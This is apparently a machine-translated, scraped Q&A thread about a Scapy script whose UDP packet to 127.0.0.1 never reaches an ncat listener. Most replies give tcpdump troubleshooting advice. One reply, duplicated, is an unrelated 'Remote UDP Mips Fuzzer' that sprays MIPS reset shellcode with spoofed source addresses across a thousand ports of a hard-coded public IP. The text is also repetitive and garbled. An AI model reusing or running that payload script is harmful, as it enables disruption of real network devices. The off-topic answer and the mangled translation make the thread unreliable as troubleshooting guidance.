Python UDP数据包不适用于scapy?

Python UDP数据包不适用于scapy?,python,scapy,Python,Scapy,我制作了一个简单的程序,试图将UDP数据包发送到我的ncat服务器 代码如下: from scapy.all import * sr1(IP(dst="127.0.0.1")/UDP(dport=8080)/"TAG1") 但是我从我的ncat服务器上什么也得不到,有人能告诉我我做错了什么吗?在开发网络相关项目时,我建议您安装诸如tcpdump或wireshark之类的捕获软件。它可以帮助您查看网络中的内容。 要使用tcpdump将所有数据包发送到127.0.0.1,可以使用以下命令: t

我制作了一个简单的程序,试图将UDP数据包发送到我的ncat服务器

代码如下:

from scapy.all import *

sr1(IP(dst="127.0.0.1")/UDP(dport=8080)/"TAG1")

但是我从我的ncat服务器上什么也得不到,有人能告诉我我做错了什么吗?

在开发网络相关项目时,我建议您安装诸如tcpdump或wireshark之类的捕获软件。它可以帮助您查看网络中的内容。
要使用tcpdump将所有数据包发送到127.0.0.1,可以使用以下命令:

 tcpdump -i eth0 "dst 127.0.0.1 and dst port 8080"

在开发与网络相关的项目时,我建议您安装捕获软件,如tcpdump或wireshark。它可以帮助您查看网络中的内容。
要使用tcpdump将所有数据包发送到127.0.0.1,可以使用以下命令:

 tcpdump -i eth0 "dst 127.0.0.1 and dst port 8080"
试试这个

from scapy.all import * 
print("Remote UDP Mips Fuzzer - Reset Shellcode")
for num in range(0,10):
data = "00" * int(str(num))
sc = "3c06432134c6fedc3c05281234a519693c04fee13484dead24020ff80101010c"
a = data+sc
for ip in range(0,255):
  for port in range(0,1000):
    i=IP()
    i.dst="213.48.152.128"              #Change this
    i.src="10.0"+"."+str(ip)+"."+str(ip)
    udp=UDP()
    udp.sport=int(str(port))
    udp.dport=int(str(port))
    sendp(i/udp/a)
看看它是如何工作的?

试试这个

from scapy.all import * 
print("Remote UDP Mips Fuzzer - Reset Shellcode")
for num in range(0,10):
data = "00" * int(str(num))
sc = "3c06432134c6fedc3c05281234a519693c04fee13484dead24020ff80101010c"
a = data+sc
for ip in range(0,255):
  for port in range(0,1000):
    i=IP()
    i.dst="213.48.152.128"              #Change this
    i.src="10.0"+"."+str(ip)+"."+str(ip)
    udp=UDP()
    udp.sport=int(str(port))
    udp.dport=int(str(port))
    sendp(i/udp/a)

看看它是如何工作的?

试着按照上面的建议(或使用另一个目标地址):使用Scapy发送到127.0.0.1是。。。令人不安。相同的建议。请尝试遵循上述建议(或使用其他目标地址):使用Scapy发送到127.0.0.1是。。。令人不安。同样的建议。这确实帮助了我,我仍然发现没有发送任何数据包,这是我在scapy“发送”大约2400个数据包后的输出<代码>D4zk1tty@kali:~$sudo tcpdump-i wlan0“dst 127.0.0.1和dst端口8080”tcpdump:抑制详细输出,使用-v或-vv在wlan0上进行完整协议解码侦听,链路类型EN10MB(以太网),捕获大小65535字节^C 0数据包捕获0数据包由筛选器接收0数据包内核丢弃0数据包抱歉,我没有注意到您的ip是127.0.0.1。i选项告诉tcpdump在哪个设备上侦听。您应该使用“tcpdump-i lo xxx”捕获lo中的数据包,因为您的dst ip是127.0.0.1。当内核输出127.0.0.1的数据包时,它不会通过实际设备(eth0或wlan0)。请检查您的scrapy do send packets to lo。这确实帮助了我,我仍然发现没有发送任何数据包,这是我在scapy“发送”大约2400个数据包后的输出<代码>D4zk1tty@kali:~$sudo tcpdump-i wlan0“dst 127.0.0.1和dst端口8080”tcpdump:抑制详细输出,在wlan0上使用-v或-vv进行完整协议解码侦听,链路类型EN10MB(以太网),捕获大小65535字节^C 0数据包捕获0数据包被筛选器接收0数据包被内核丢弃对不起,我没有注意到您的ip是127.0.0.1。i选项告诉tcpdump在哪个设备上侦听。您应该使用“tcpdump-i lo xxx”捕获lo中的数据包,因为您的dst ip是127.0.0.1。当内核输出127.0.0.1的数据包时,它不会通过实际设备(eth0或wlan0)。请检查您的刮痧是否发送包到lo。